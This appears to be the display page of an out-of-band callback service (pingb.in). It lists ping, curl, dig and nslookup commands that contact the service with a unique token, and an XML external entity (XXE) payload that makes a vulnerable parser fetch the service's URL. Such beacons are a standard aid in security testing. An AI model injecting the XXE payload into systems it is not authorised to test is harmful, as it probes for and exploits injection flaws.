$ ping -c1 -p 0099a0c7ce3b42de8eda5f5646c34800 pingb.in
 
$ curl pingb.in/p/99a0c7ce3b42de8eda5f5646c348
 
$ dig 99a0c7ce3b42de8eda5f5646c348 @pingb.in
 
$ dig 99a0c7ce3b42de8eda5f5646c348.ns.pingb.in
 
C:\> nslookup 99a0c7ce3b42de8eda5f5646c348 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/99a0c7ce3b42de8eda5f5646c348">]>
    <foo>&xxe;</foo>
 
Waiting for ping...